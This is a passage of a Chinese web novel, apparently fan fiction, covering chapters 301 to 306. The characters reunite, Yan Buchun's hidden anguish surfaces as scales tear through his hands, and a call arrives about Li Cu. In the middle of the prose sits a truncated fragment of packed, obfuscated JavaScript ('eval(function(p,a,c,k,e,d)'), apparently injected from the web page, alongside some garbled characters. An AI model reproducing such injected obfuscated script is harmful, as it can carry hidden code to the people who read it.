但显然，现在掺杂着刘丧这个成分在，汪灿哪怕是再怎么理性的人，也仍旧比不过心里头那点亲情纽带作祟。 汪灿连忙追问，“那是哪里？是他之后做了什么吗？” “这倒不是，准确来说是他以前的事，你应该是直接进入汪家被养大的，但其实，你俩是有父母的，听说，这刘丧是离异家庭，跟着爸爸走的。 可后来这爸爸再婚了，那新老婆对他不好，他就成天跑出来哭着找爸爸，最后……哎，就跟着道上有名的癞头姑子去学耳力了。” 胖子只能把这事简化说的，因为刘丧可是最忌讳自己的身世被拿出来说道了。 这要是知道自己嘴巴一张一合把他家底说出去，按刘丧那个性子……胖子抖了下，想到那被烧死的后妈一家，那小丧背儿可是从小就狠啊。 而胖子的话，来源自于刘丧的真实苦难，这一开口便全被汪灿全给听进了心里。 虽然他们之间没有正式的相认，可汪灿就是知道，他们的血缘是板上钉钉的事。 只是自己在汪家的操控之下，竟从未了解过。 原来曾经的自己，本可以拥有家人。 第301章 听说你想见我 虽然最后的刘丧，还是僵持的没有与汪灿相认，吴峫顺势拿起对讲机，给这兄弟俩彼此找了个台阶下，“我们先找个落脚地休息会儿，再考虑其他事情。” 刘丧的耳尖略微动了一下，他虽未对吴峫怀揣敌意，但是无论任何的声音，在这样什么都听不进去的情况下都显得格外聒噪。 而刘丧明显的不悦，很快被同坐后排的小哥与张祈灵捕捉到。 但他们与刘丧和汪灿的情况实在是不同，所以少劝才是最正确的。 就在吴峫重新驱车时，刘丧也慢慢在小哥与张祈灵的注视下，怀揣着欣喜与憋闷的闭上眼。 脑内反复闪烁的画面仍旧是过去惨痛的童年，与终于寻求到精神领袖的欢愉。 而下一刻，又是入辽国墓时的鲜血横流。 队伍里的人，被忽然窜出的蛛网打了个措手不及，刘丧亲眼见证着毒素攀爬上他们的皮肤，属于黑暗地带的巨型猛兽刺穿了众人的耳膜和喉管，令人将一切的声响都尽数泯灭。 “吴峫。”刘丧良久开了口。 感受到路段轻微颠簸，吴峫降低了车速，纳闷道，“是我开快了？” “我想见见你说的，那个提出找我的衍卜寸。”刘丧刚醒来时，完全因为胖子和汪灿的话，将庞大的信息量充入其中，却恰恰忘了最重要的一个事。 引领着所谓亲人找到自己，现在却从未出面的家伙。 听到刘丧请求的解雨臣，在看了一眼吴峫，观察下他的神色后，见未有异样，才开了口，“吴峫要开车，不方便分神回话，我来说可以吗？” “谁说都不重要，我只是想和他沟通。”刘丧想表达的诉求，关乎于自己这次对于墓穴经历的解释，他宁愿和这个人聊，也不要和那个迟来的汪灿说话。 而且，如果这个世界上真的有未卜先知的人，并有所谓九门里齐铁嘴异样的神通，对于刘丧来讲认识一下又无妨。 更重要的是，偶像明显不想让自己待在身侧，为了防止讨嫌，还是待会儿再回来比较好。 “到了。”张祈灵并未参与他们的对话，也未懂刘丧所纠结的点，只是在郁郁葱葱的树木过去后，见吴峫将车停在民宿门口时，便就这么耿直的说了。 小哥给张祈灵最后捂了一下冰凉的手，便下车去后备箱搬行李了。 而吴峫则熄火，将车钥匙拧出来，“待会儿你就能见到衍卜寸了，不过，现在你最好和祈灵先在车上休息，等我们整理好东西你们再下来。” “等等，你说他叫什么？！”刘丧这回是真要炸了，怎么人和偶像那么像，连名字读起来也是。 而且不说铁三角的关系好吗？他们是怎么纵容这样一个冒牌货获得所谓优待与宠爱的！ 张祈灵没有看懂刘丧脸上的惊愕究竟是什么意思，只是向吴峫点头，示意自己知道了。 也许是张祈灵与吴峫的互动太过于自然，更是让刘丧这个没有身份去吃醋的人，将心里点燃了一把火。 偏偏刘丧扭过头，想要去训狸猫换太子般不懂事的张祈灵时，就见一个人黑压压的身影，直接堵在了自己这侧的车窗上。 黑瞎子向来是个能让其他人动手，自己就懒得参与的人，所以便奔着张祈灵这边来了，可谁知道，一低头就看见刘丧正气得要命的看着自己的宝贝白菜。 “不把我们当你救命恩人就算了，现在还龇牙咧嘴的，是不是太不把我们当回事了？”黑瞎子用指节叩响车窗，笑的那叫一个阴恻恻。 刘丧虽然现今还未在九门里频繁活动，但黑瞎子的名号可是听过的，虽心有戒备，但总归脸上的表情也收敛住，没出什么大差错。 “我只是觉得你们的态度很有意思，况且，你管的也太宽了吧？”刘丧直接不顾吴峫的要求，打开车门将黑瞎子顶住，一点儿情面都没留。 黑瞎子见刘丧这软硬不吃的模样，只是秉承着不能教坏张祈灵以暴制暴的原则，直接按住了刘丧的肩膀不让人走。 并用故意用恶心人不偿命的腔调，夹着嗓子在刘丧敏锐的耳旁道，“哥哥呀，不管你对我什么态度，我都无所谓，但对救你的祈，你起码得讲求一个体面的礼貌吧。” “我真是不理解你们这群人，怎么会把一个冒牌货当做香饽饽。”刘丧嘴上不留情。 可在张祈灵默默下车，并明显听到投过来目光时，刘丧还是即刻收起了，刚才对他和黑瞎子的冷嘲热讽。 刘丧劝自己这是下意识的反应，而不是真心流露对偶像的欢喜，才勉强让自己当面说人坏话的负罪感减少一些。 但刘丧，确实太错估张祈灵的坚韧程度。 毕竟在吴峫被青铜母铃潜移默化控制的十年中，张祈灵可是听过太多，比今日刘丧更刺耳的话了。 不用管。 他只是一个陌生人，是那个与自己并不是朋友的，属于汪灿的家人。 这么想着，张祈灵的视线扫过刘丧，却完全没有让那幽深的眸子里留存住他的身影。 “走。”张祈灵说完，便移步来到黑瞎子的身边。 张祈灵将自己卫衣兜里的巧克力，还有饼干塞了一把在黑瞎子手里，这是对替自己说话的家人的感谢。 而黑瞎子低头，看着那一手的零食，噗嗤笑了出来，并甜滋滋地揣进口袋里，推着张祈灵的后背，便完全忽略刘丧往前走。 “我家祈怎么那么心疼瞎瞎我呢，这么宝贝的东西说给就给？”黑瞎子的唇角都快飞上天了。 但并不觉得黑瞎子会被一点吃的收买的张祈灵，只是面无表情的扒拉开对方的手，提醒道就剩他们没办房卡了，“进去了。” “知道啦，那祈和瞎瞎我一起住好不好？”黑瞎子恬不知耻的想要更多。 可下一秒，他就遭到正义胖子的一记脑瓜崩，“我说，你能别乱拐孩子好不？祈灵小兄弟正是长身体的时候，当然是要和我们铁三角住在一起，好晚上加餐啊！” “得了吧，胖子，吃夜宵才是不健康，你想加餐也得合理安排时间啊。”吴峫提醒完胖子，就将办好的房卡放进张祈灵和小哥的手里，示意他们一个房间轮流值班也方便，“你们两个爱出去逛的，就把这个好好揣着，要不然就回不去了。” 而一侧的解雨臣习惯性的付好钱，并拿了剩下的房卡分配给其他人，“别争了，先拿着进去休息会儿，吃饭的事我和胖子讨论去。” 尚在外面的刘丧，盯着这样和睦的场景，好像隐隐知道，为什么张祈灵虽然并未言语，却能够完全融入其中的原因了。 他们一看就是一家人。 这样的幸福，是源自于真心喜爱。 而最后到来的衍卜寸，是后面单独搭车处理了些别的事，现在才轻步来到刘丧的身边，略微俯身，“听说你想见我。” 第302章 达不到的起点 刘丧感觉到衍卜寸的声音，终于自自己的耳蜗处钻进了脑子里，并泛出一股子透过四肢百骸的冷。 他从未见过这样一个，能够完全逃离自己耳力的家伙。 刘丧更是在此刻才后知后觉起来，衍卜寸是当初自己醒来的那辆车上，沉默着从未开口过的司机。 但按理来说，他不可能察觉不到同样车厢里除了自己还有第三人的存在。 可事实证明，刘丧的这副好耳朵，是真的忽略了衍卜寸。 而衍卜寸见刘丧半天惨白着脸僵持在那里，则往后退了一步，给彼此留存了些空间。 衍卜寸没有要吓刘丧的意思，更没有所谓让对方过激的恶劣行为，只不过，他太过低估自己神出鬼没的习惯。对于一个天赋点满的人究竟是多么大的侮辱。 “你是人类吗？”刘丧原本并不想要说这句话。 可是在面对着衍卜寸的时候，他完全不能管控好自己的情绪，因为伫立在自己面前的这个人，拥有着完全不同于人类的身体声音，那是一种如同裹着薄膜一样细微的程度，是因蝴蝶振翅而会产生的风。 他的脚步、呼吸、心跳…… 就好像是上帝特意制作的类人玩偶。 衍卜寸没有料想到刘丧对自己所说的第一句话是这个，他其实都做好被谴责的打算了，毕竟汪灿和刘丧的相见时一方有意，他也是看到了刘丧抗拒的模样，但刚才先行离开去置办生活用品的他，在路上想好的所有应对准备都成了泡影。 这让衍卜寸原本平静的脸上，都出现了一丝愕然。 “事实上，我应该不是。”衍卜寸最终还是实事求是的回答了。 刘丧在验证自己的听力功能是好的，只是衍卜寸的问题后，也仍然没有松口气。 因为他根本无法想象，铁三角初出江湖的这点时间里，竟然会结交这么多超脱认知范畴的人。 一个完全复刻的张祈灵已经让刘丧够瞠目结舌的了，更别提现在，这里还有个非人类，虽然有一副好相貌，但内里是什么样的谁知道。 似乎是长久的沉默，让衍卜寸察觉到了刘丧的心怀芥蒂，所以他再次开口，“我和你不会住在一起，也不会在其他时间去攻击你，如果我现在向你解释超脱于这个世界的故事，也许会让你的大脑信息量过重，这是为了你的身体考虑，在休息的这几日里，你可以提前想好要怎么问我。” 衍卜寸说的话不假，在刘丧醒来后，汪灿、张祈灵以及自己的存在，已经让刘丧的信息收集能力达到了一个临界点，而且他也和吴峫他们处于同样的态度，那就是关于门的信息，以及他们从过去到达今天，从未来贯穿过去的事，越长话短说越好。 “那我会整理好再去打扰你。”刘丧真的不想跟这样的非人类待着了，连忙快步进了民宿。 吴峫知道汪灿和刘丧还需要各自冷静，所以并没有将他们安排在一起，而是让作为医生的渡荆同刘丧一起，讲求个老少搭配，也吵不起来什么。 在刘丧上楼后，并不懂因为刘丧的存在而让队伍气氛有变化的张祈灵，只是掰着小哥的手，和他算了一下两个人出去的频率，并在达成一致意见后，才回了房间。 下午解雨臣如约和胖子采购了食材，并且在民宿的厨房里做了一桌子菜出来。 张祈灵被劝着歇了一下午，此时只能抱着沙发枕看着吴峫特意调好的科普类节目，从辨认电器，到判断食物…… 播的都是些简笔的幼稚小动画，应该是给五周岁以下的孩子看的，但张祈灵秉承着吴峫的命令是至理名言，那是屁股都没挪一下的在死盯着。 所以，当吴峫帮着衍卜寸，把刘丧要用的置办完的时候，一打开胖子的房门，便看到了张祈灵坐在那看的昏昏欲睡，又不敢闭上眼的的身影。 “霍！徒儿你给我家祈体罚呢？！”在后头原本抻着懒腰的黑瞎子，一溜烟儿就猫了进来。 他原本想赶紧将张祈灵的半边身体扶住，结果那衍卜寸快的把人抱怀里了都。 而张祈灵感觉到重力偏移，一下子就清醒了，他还要执行吴峫离开前的首个命令，乖乖看电视涨知识，结果现在人家回来了，自己快睡过去了，原本不懂情绪的他甚至在此刻明白了什么叫做被抓包的羞耻，并连忙从衍卜寸的手里坐直身体。 “吴峫。”张祈灵瘫着张脸，却让明眼人看出了实打实的窘迫。 黑瞎子点了点吴峫的肩膀，“就说你让祈休息去就好了，还看什么科普类的节目，搞的像军训似的。” “我没有想要惩罚他怎么样啊，黑眼镜你不能这样说。”吴峫放低了声音。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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随后，他不舍的将搀住张祈灵的掌心给挪开，连原本雀跃的眸光也逐渐黯淡。 衍卜寸无能为力的看着自己的神，正因另一个身处低位的人类流露出的善意，而感到莫大的幸福。 当然，吴峫在衍卜寸眼里同样是优秀的。 也正因为他的好，才让吴峫彻底成为神明世界里，头顶皇冠拥有着极致荣耀的国王。 而这是衍卜寸竭尽一生都达不到的起点。 “听你的。”张祈灵点头答应着，并为今天所学习的知识让吴峫开心，而觉得同样的欢喜。 但衍卜寸知道，神永远不会对吴峫使用拒绝的能力。 第303章 偏偏他喜欢的是个顶好的 胖子将菜齐全的摆上了桌，又去拽了几把椅子进来，他当时也劝过张祈灵休息，只是这孩子犟的厉害，硬是不挪地儿。 此时此刻，回来的天真刚好能治住这个犟种，胖子笑着洗了把手，冲他们道，“吃饭了！该关电视了知道不？” “好。”吴峫答应着，顺手操控遥控器。 张祈灵看着吴峫动身，便也跟着起来，衍卜寸沉默的搓了一遍刚才接触到的指尖，上面残留的温度实在是太淡了。 而张祈灵，在跟着吴峫和黑瞎子走了两步，才意识到后面的衍卜寸还愣在沙发上。 “衍卜寸。”张祈灵不懂为什么有人会对胖子做的菜不积极。 回神的衍卜寸，立刻挂上了平日里温和的笑容，那心中无法倾诉的酸楚也被收的一干二净。 衍卜寸以谎言掩饰着，“我刚才找手机呢，想把刘丧也叫下来吃饭，结果没从口袋里摸出来。” 不知说的话是太严丝合缝还是过于拙劣，张祈灵的视线，在衍卜寸的外衣处打量了一下，最后只是轻点了下头，“好。” 完全围观史诗级三角恋戏码的黑瞎子，却没有随着张祈灵的脚步转到餐桌上。 他停留在那里，扭过半个身子，面上没有笑意。 黑瞎子并不想要在这里轻佻的去调侃一个人的真心，他也是真的，为衍卜寸这样遥遥无期的追逐觉得无力。 如果衍卜寸喜欢的不是张祈灵，是其他人，是不适合相伴的家伙，无论如何，黑瞎子都会毫不犹豫的劝衍卜寸放弃掉。 但偏偏他喜欢的是个顶好的，是众人哄抢的香饽饽，是一个拥有着情感障碍什么也不懂的孩子。 偏偏吴峫他们的白月光滤镜太强， 偏偏谁都可以，只有他衍卜寸争不起。 因为他与张祈灵和对方待他的意义，相差着明眼人都能看清的…… 一条无法跨越的鸿沟。 张祈灵不在乎自己是否有信徒，他甚至都不明白一个无条件追随者究竟有什么价值，因为他从始至终，都不需要这样的人去为自己拼命。 而在衍卜寸看来，那是救赎、是神祗、是世间最美好的一切……那是他生的希望，是张祈灵相救之际，永远无法感知到的心脏轰鸣。 张祈灵不懂情爱，但衍卜寸奉神为一生所求。 想到这里，黑瞎子捻着指尖，总觉得缺了点儿什么。 于是，他赶紧在衍卜寸注意到自己的视线之前，向胖子吆喝了一声，“我出去抽根烟，给我留点儿那什么……” 黑瞎子想了下，随手指了一盘红烧牛肉，“给我剩点儿底，我拌青椒肉丝炒饭吃。” “不是，你现在饭点儿走味道就变差了呀，这不得放冰箱才能搁住，到时候再热，汤汁儿也稠了啊……”胖子絮絮叨叨的说着。 而且他真不知道，黑瞎子为啥非抽那根烟不可。 可黑瞎子没有多说，直接旋身出去了。 然后在下楼的时候，他还精准的把前台的烟给顺走了，那人连拦都没来得及，就听到黑瞎子举着烟盒晃道，“记吴峫账上，住302那个。” 而还在302房间里待着的衍卜寸，早就注意到了黑瞎子怜悯的眼神。 但他还是为了原刚才哄张祈灵的那套说辞，给刘丧打去了电话，可刘丧此时也在整理思绪，所以在屏幕亮起的刹那，便直接挂断了。 衍卜寸又再打了一遍，为此想要转移注意力。 而这一次刘丧接通了，“什么事？” “来302吃饭，胖子做好了。”衍卜寸实事求是的说。 刘丧并不想与其牵扯太多的情分，刚想要拒绝，便听到衍卜寸继续道，“汪灿不和我们吃，他上次吃过了，现在邀请你也只是胖子想让你尝尝他的手艺。” 衍卜寸巧妙的将刘丧所担心的地方避了过去，并且还将邀请这顿饭的理由给想好了。 “一起去吧。”和刘丧同处房间的渡荆站起身，“吃饭才是要紧的，而且看你的状态，也困了挺久吧，吴峫给你的那点儿小零嘴可不够填饱肚子。” 渡荆意有所指的，看了一眼垃圾桶里的压缩饼干包装。 刘丧肚子恰到好处的叫了一声，被他快速捂住，臊的脸都红了，最后想通，对着屏幕那头的衍卜寸答应着，“好，我现在下去。” 待人凑齐后，小哥也回来了，他巡视地形的是经年累月的习惯，所以在进门后很是熟练的洗手**座，拿着属于自己的碗，就开始以不紧不慢的速度吃起来了。 张祈灵顺手给小哥还有其他人夹菜，胖子给大家倒上水，其乐融融的让劫后余生的刘丧，终于感受到了脚踏实地的感觉。< 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很快就饱了的解雨臣，则细致的擦着嘴，与胖子形成鲜明对比。 这样司空见惯的相处模式，再次震撼到了毒唯刘丧的小心灵。 也许是很长时间都没有这样安心的吃饭；也许是自己的餐桌上只有工作时的压缩饼干；也许是身边人的不肯停留…… 自己多年以来拒人千里以外，让刘丧早已忘记了这样的感觉。 其乐融融，而且没有落下任何一个人，甚至连渡荆的面前，都被胖子细致的放着距离他最近，且适合这个年岁爱吃的鲜嫩丝瓜。 幸福，很幸福，幸福到快要溢出来的程度。 刘丧垂着头，将那真的非常好吃的菜，默默夹进嘴里。 现在没有强行的逼迫，没有任何的目的。 只单单的一顿饭，突然让刘丧真实的想要加入这个大家庭，且不仅仅是因为偶像。 “我们吃了，那汪灿去哪里吃饭？”刘丧没有注意到，自己已因这样的氛围，脱口而出这样的话。 他竟开始奢望，汪灿也如他们那般温柔，可回神后，刘丧又觉得自己真的是被夺舍了，竟让从未动摇的心有些触动。 胖子率先拍了下大腿，“放心吧，饿不着！他打算自己出去吃来着。” 第304章 是我太贪心了吗 而被提到出门觅食的汪灿，便恰巧和出门抽烟的黑瞎子遇上了，原因无他，黑瞎子堵的就是他。 “见到我很意外？”黑瞎子倚在出民宿便一眼可见的店铺前，抿着一根烟，吞云吐雾的。 汪灿摆手，把这呛鼻的气息挥走，疑惑道，“我们之间有什么好聊的吗？” 黑瞎子略思索了一下，不知道是在现想理由，还是在等自己再次开口，反正，对方吐出的白烟，掩盖住了他全部的神色里，汪灿什么也没有看到。 “聊刘丧，怎么样？”黑瞎子将话题拐到了汪灿在意的人身上。 显而易见，汪灿对此很感兴趣。 几乎是在半秒内，他就快步来到了黑瞎子的身侧，并表明自己的关注点，“你想说什么？如果只是一些家庭背景，王胖子已经和我说过了。” 半倚靠在墙上的黑瞎子撑起了身子，将烟掐灭，似乎不甚在意自己被焯烫到的指尖，“教你怎么靠近他，如何？” “你会在意这个？”汪灿完全没想到，像黑瞎子这样的人，竟然有闲工夫管自己的事情。 黑瞎子笑着没有再开口，只是在汪灿焦灼的等了会儿后才继续道，“也不单单是为了你们两个，拿你们做个小实验，介意吗。” 他虽然是这么问的，但其实语气平静的根本不像是在寻求汪灿的想法，反而是下达了一个汪灿既没法完全接受，也没办法直接拒绝的命令。 见汪灿一直没有说话，黑瞎子自顾自的说着，“其实我知道你会出来，所以，我就没和他们吃饭。至于等你，完全是因为我想要改善你和刘丧的相处模式，然后用在另外一对朋友的身上。” “是张祈灵和衍卜寸？”汪灿是个聪明人，他一下便猜出了黑瞎子的言外之意。 可是汪灿仍然不懂两者之间的联系，“他们说好点儿是朋友，说坏点儿是敌人，汪家和衍家合力对付张家的事，我是知情人。而我并不认为，我和刘丧的关系处理，可以用在他们身上。” “毕竟……”汪灿的视线看向黑瞎子已经被烫出一圈烟痕的手。 黑瞎子不甚在意的搓着，将汪灿的话接下去，“毕竟他们不是兄弟，而且关系还是你想不到的……” “复杂？”吴峫收拾完餐具后，认真和张祈灵科普着每一样电器。 但张祈灵最后只郑重的点头，表示自己的理解还需要时间。 吴峫不觉得这样是累，也很支持张祈灵现在明显乐于学习的样子，于是揉了一把张祈灵的头，先劝他去休息了。 于是打扫完卫生的胖子和解雨臣出去溜达，张祈灵回房，便只剩下吴峫和一直在跑神的衍卜寸面面相觑。 很多时候，他们似乎都没有这么单独的相处过，大多都是生死存亡之际，衍卜寸只留给吴峫这边，给张祈灵一副肝脑涂地的样子。 而意识到吴峫转移视线过来时，衍卜寸的眸光沉着，但唇角的弧度仍然恰到好处，“怎么了吗？” 吴峫觉得有些诡异，发觉衍卜寸在竭力压制着什么自己也不知道的东西。 “没事，就是想问下你缺什么。啊，我忘记了，生活用品你去买过了。”吴峫觉得气氛已经尴尬到自己在胡言乱语了。 偏偏衍卜寸永远是笑眯眯的，根本没有因为吴峫的无措而有任何波澜，“嗯，我房间都收拾的差不多了，现在只是在这里待一会儿。” 吴峫点了下头，没有下达逐客令，但干巴着说话也挺难受，于是去包里翻了点儿张祈灵爱吃的零食，塞进了衍卜寸的手中，“你吃会儿，看电视也行。” 衍卜寸接着，神色莫名的低头看。 “是不喜欢吃吗？给你来点儿不甜的也可以。”吴峫又要翻包，却被衍卜寸紧急叫停住了。 衍卜寸摇头，“是阿祈喜欢的，不用换。” “那你自己呢，你爱吃什么。”吴峫也不知道自己怎么回事，竟在看到衍卜寸这个模样时，控制不住的坐下，想要听对方说点儿除了张祈灵以外的事。 衍卜寸抬头，看了吴峫一眼，又像个因为场面身处黑暗，而被阳光所刺痛的孩子般，再度垂下了头。 “我味觉恢复了，在出那个门之后。”衍卜寸说完，继续回答道，“所以今天吃到胖子做的饭的时候，我觉得很好，比想象中还要好吃。” “好吃就可以，不过，如果喜欢一道菜，或是很多道菜，就不要说这是‘祈灵喜欢的，我也喜欢’，毕竟胖子接下来的菜谱你还没领略完全呢。”吴峫试图去看着衍卜寸的眼睛，可对方一直没有对视的勇气。 衍卜寸只是认真的拆了巧克力包装，掰了一块放进嘴里，“吴峫，其实道理我都懂，只是你是既得利益者，所以不清楚我究竟在纠结什么。” 也许是从未被说开的话，在此时捅破这层体面的窗户纸时，显得过于直白，甚至将这句话听进去的吴峫，搞的脸都已经烧了起来。 但吴峫第一时间，并没有为这样的控诉而感到生气。 因为此时此刻，吴峫的脑袋里，过去画面正像抽帧一样转动起来。 直到，他看到张祈灵一次次的讨好，一次次的迎合，这样的行为，就和衍卜寸跟随张祈灵热爱那般。 一样的卑微至极…… 只是吴峫在尽力更改张祈灵的想法，却从未看过张祈灵与自己的身后，那未被看见的影子延伸处，还有一个人渴望的踏着他们毫不在意的脚印，去反复丈量那早已被遗忘的无意义痕迹，还将其视若珍宝。 “你会怪我吗？”吴峫这么问着，又将那原本对衍卜寸不理解的视线挪开，放在了地板上的毯子处。 这回终于轮到了衍卜寸抬眼，看向转换角度而发觉亏欠的吴峫身上。 衍卜寸否定着，“我不会怪你，因为你是创造了阿祈的人，如果没有你，我这辈子都不可能因阿祈有活下去的勇气，所以我很感激你。” 可下一秒，衍卜寸又紧接着补充，“但这并不影响我嫉妒你，讨厌你，又喜欢你。 我得不到的，你能轻而易举看到阿祈的双手奉上， 我想要的，在十年间被你弃之如敝屐， 我喜欢的他，比我千百倍的更加喜欢你。” 衍卜寸深吸了口气，在情绪崩溃前，仍保持着最后一丝毫无价值的体面，可声音还是颤抖的。 听得吴峫的心上像系了个绳子，在对方每一个字吐出来的时候，都在缓慢的收紧，再松开，紧接着再次绷直。 “吴峫，我这些天，都在控制着自己，我不想对你动手。因为我知道，一旦事情演变到那样的程度，我甚至连成为阿祈朋友的身份都做不到。 是我太贪心了吗？是我想要的太多了吧。” 吴峫见衍卜寸一直在否定自己，连忙解释，“不是这样的，是祈灵还不懂这些，就算是日后的相处，到最后发生到什么程度都是未知的。 我能理解你这些天以来的压抑，你真的辛苦了，所以不要因为现在发生的这一切，就全盘否定这是自己的错。” “如果做不了爱人，那就做家人，你想说的，想劝我的，就是这样的对吧，只是你不好意思说。”衍卜寸一直在盯着吴峫的眼睛。 那是被周围人所呵护的眸子，在哪怕怀揣多出十年人生的灵魂之际，也仍然透亮、晶莹带着永不泯灭的幸福。 衍卜寸越看，越觉得自己就是一只变不了天鹅的丑小鸭。 不。 他将张祈灵喜欢的零食安稳的放在沙发上，才双手交叠，扣紧了自己的虎口。 直至在吴峫的惊诧中，变得鲜血淋漓。 皮肤之下的鳞片，因为情绪的全面崩溃，逐渐刺穿了他手部的皮肤，而分泌粘液所带来的快速修复，压根拦不住它破出的速度。 吴峫赶紧去翻医药箱，在回来时，便看见衍卜寸的虹膜从浅淡的棕，变成极致妖冶的猩红，可他顾不上那么多，甚至连姿势都来不及处理，直接跪着给衍卜寸上药。 而衍卜寸盯着吴峫努力镇定，开始替自己处理伤口的一片狼藉时。 才从那锋利穿梭的鳞片中， 彻底明白自己哪里是丑小鸭。 明明从始至终， 他都是怪物。 第305章 疯子 “考虑好我说的了吗？虽然是参照组，但怎么也能收获点哄弟弟的经验不是吗？”黑瞎子顺势拍了下汪灿的肩膀，好像真是为一个初出茅庐之人提供建议一样。 但汪灿并不喜欢这样被安排，甚至摆明给别人做嫁衣的感觉，所以他下意识摇头拒绝。 黑瞎子见谈不拢，便清楚自己要为衍卜寸另找出路了，而就在他准备溜达着回民宿的时候，自己的电话却响了起来。 他看了下，发现平日里除了道上的那几个家伙，很少有人会用这个号码去联系自己。 黑瞎子饶有兴致的接起后，便笑着揶揄，“什么风把您吹过来了？真是太久没联系我都快忘记了，这不是大名鼎鼎的张日山吗？” 汪灿一听到这名字，自觉的退到了一旁当空气。 黑瞎子瞥了眼他，现在汪家已被瓦解，对于黑瞎子来讲，汪灿这样的避嫌实在是多虑了。 索性，黑瞎子直接将人的肩膀揽住，大大咧咧毫不避讳的继续与张日山交谈，“怎么，今天联系我是出什么事了吗？不过你也知道，我现在已经很久不接活了，休假懂不懂？” “你家的小崽子来闹事了。”张日山直接一句话，清晰明了地堵住了黑瞎子喋喋不休的嘴。 黑瞎子听后明显愣了一下，又很快反应过来，在思考出可能性后反问道，“是不是有三个小毛孩，去你那星月饭店里闹了？” “原来你知道啊。”张日山的语气明明是平静的，但黑瞎子听出来这人是真生气了。 黑瞎子捏了下自己的手，估算了一下日子，发现目前的黎簇才八岁，这么点个小屁孩，应该不会这么快就查到自己的脑袋上吧？ 但不管怎么样，现在他就是找到张日山了，就算九门的人不屑于和小孩计较，但这样明显超脱于生理年纪的行为，也可能会惹到某些人的注意。 不过，当初自己给他们送练习册和安排辅导老师，那可都是秘密进行的，他们顺藤摸瓜的话，也应当是从别的地方查到的线索吧。 但也许是黑瞎子短短几秒之间想的太多，电话那一端的张日山深深叹了一口气，“我把你的号码给他们，你自己去说吧。 新月饭店装不下这三个磨人的祖宗，他们不知道是什么运气，一来就把店里的装置破坏了个七七八八，按现在年轻人喜欢的宠物来说，叫什么……哈士奇？ 而且他们仗着自己是小孩，一赶出去就耍泼皮，躺在店门口不挪地方，说碰他们就报警，你是知道的，我不爱蹚官家的路，但不代表他们闹成这样我不会对他们怎么样。” 黑瞎子是真听出来了，能让张日山被迫冲浪上网这么快，而且还让张日山想要走其他手段，那就证明黎簇他们作的祸那叫一个大。 “好，不过费用你让吴峫去赔吧，我已经很久没开工了，这手头……”黑瞎子嘿嘿的笑了下，“你懂的。” 张日山不置可否，将电话即刻挂断了。 很快，在黑瞎子与汪灿回程的时候，黎簇的电话意料之中的插了进来。 “吴峫呢？我知道汪家总部的位置，这不是你们一直以来想要的吗？我不是小孩子，我再说一遍！这是你们最后的机会了，如果不听我的，你们还要等十年你们知道吗？！”似乎是对方的声音太大了，刺的黑瞎子耳朵生疼。 索性，黑瞎子将电话挪远了一下，并在黎簇骂到岔气时才回了话，“听你这意思，是想起来一些事了？” 按理来说，黑瞎子他们的灵魂来自于十年后，并被塞在了十年前的身体里，但黎簇他们应该没有回来的理由才对。 因为这个重归契机，应该是进入那个青铜门里的人才能拥有的。 难不成当初和自己还有吴峫他们有接触的人，都恢复了记忆不成？ 似乎黑瞎子想的没有错，因为黎簇在下一秒就清楚了黑瞎子的意思，而这是年仅八岁的他不应该明白的。 “你不用管我的消息是哪里来的，黑爷，你快点叫吴峫来！现在去汪家大本营还来得及，都怪我家里突然给我和苏万安排了补课老师，我根本来不及出来说这件事！”黎簇的口齿清晰。 而黑瞎子听到自己安排的锅，被扣在了黎簇父亲的身上就觉得好笑，看来黎簇压根没发现这件事，只是知道新月饭店就奔着去了。 傻的可爱啊。 黑瞎子的肩膀一耸一耸的，被汪灿按下去后，才勉强没让自己的声音传进黎簇的耳朵里。 “放心好了，不止你们回到了过去，我和吴峫也是，你现在的任务就是要好好去学习知道吗？现在九门里的事已经不需要你来参与了。”黑瞎子走回到民宿，并叩响了吴峫的房门，“但是吧，念在你十年后的功劳上，带你听听吴峫的动静……” 可就在刹那，黑瞎子听到了房内如同皮肉爆开的声音。 他即刻一脚踹开门，就见吴峫正在给衍卜寸包扎，而原本打算和小哥轮班巡逻的张祈灵，也因为黑瞎子弄出来的声响直接来到了房门口。 衍卜寸在察觉到自己最不堪的一幕，即将被张祈灵看见时，便竭力控制着自己暴乱的鳞片，并在抬头时，摆出了那副温柔到无懈可击的笑容。 “不小心没拿住杯子，所以划伤了，吴峫在帮我处理，没什么大事。”衍卜寸神色如常的将吴峫还未系紧的绷带绷直，又缠上。 可先一步进入房间的黑瞎子，自然不会相信衍卜寸的这套说辞。 他能感觉到，衍卜寸的心理和精神已经接近了极端，整个人被负面情绪所笼罩包裹完全，甚至在前一刻，还堪称是面目全非的鲜血淋漓。 而衍卜寸不紧不慢地站起身，仿佛什么都没有发生一样的看着黑瞎子，但眼神却是在警告对方不要再多言。 那被掩盖住的伤口正快速恢复着。 衍卜寸甚至还颇有闲情雅致的给大家倒了水，语气寻常的像谈论今天的天气很好一般，“饭菜胖子给你留着了，先喝点润润嗓子，还有阿祈，出门前也喝一些吧。” 处在最后面的汪灿，则敏锐的从衍卜寸那张温润且毫无攻击力的脸上。 看到了“疯子”两个字。 第306章 生怕是泡影 黑瞎子回神，向电话那头的黎簇说道，“有点事需要处理，待会儿再让你和你偶像吴峫亲热。” “不是，你在说什么鬼东西，谁会喜欢吴！”黎簇没来得及说完话，就见黑瞎子那是毫不犹豫的就给通讯挂断了。 而一旁的苏万正无辜的眨着那卡姿兰大眼，“鸭梨，我们还能联系到黑爷吗？不会他也不信你说的吧，这要怎么办啊，我才八岁呀，现在家里人给我的零花钱，可能连车费都买不起。” 苏万绞着手指，委屈巴巴的模样瞧的人心软。 不过，黎簇也不是一个会用兄弟金钱来成事的人，所以他只是摇头，“既然他说了让我们等一会儿，那就先待着，毕竟手机号在这里呢，我刚才也确认是本人，苏万你别担心。” 黎簇太知道苏万想的多了，而思索片刻，想到苏万的尿性，他直接将那家教老师端来的练习册，一股脑的塞进对方的怀里。 “你先学会儿，别闲着。”黎簇就像是个拿鞭子抽驴拉磨的坏人。 偏偏苏万真的感动的热泪盈眶，丢下那些纸本子，一把鼻涕一把泪的抱住黎簇，“鸭梨，你对我太好了呜呜呜呜……” 黑瞎子把手机揣进皮衣口袋，随后弹了一下衍卜寸的脑门，“行，划破手没哭鼻子，挺好。” 也不知是为了缓和气氛，还只单单是调侃。 但黑瞎子的这番话，还是有力的让原本僵持不下的局面松了几分。 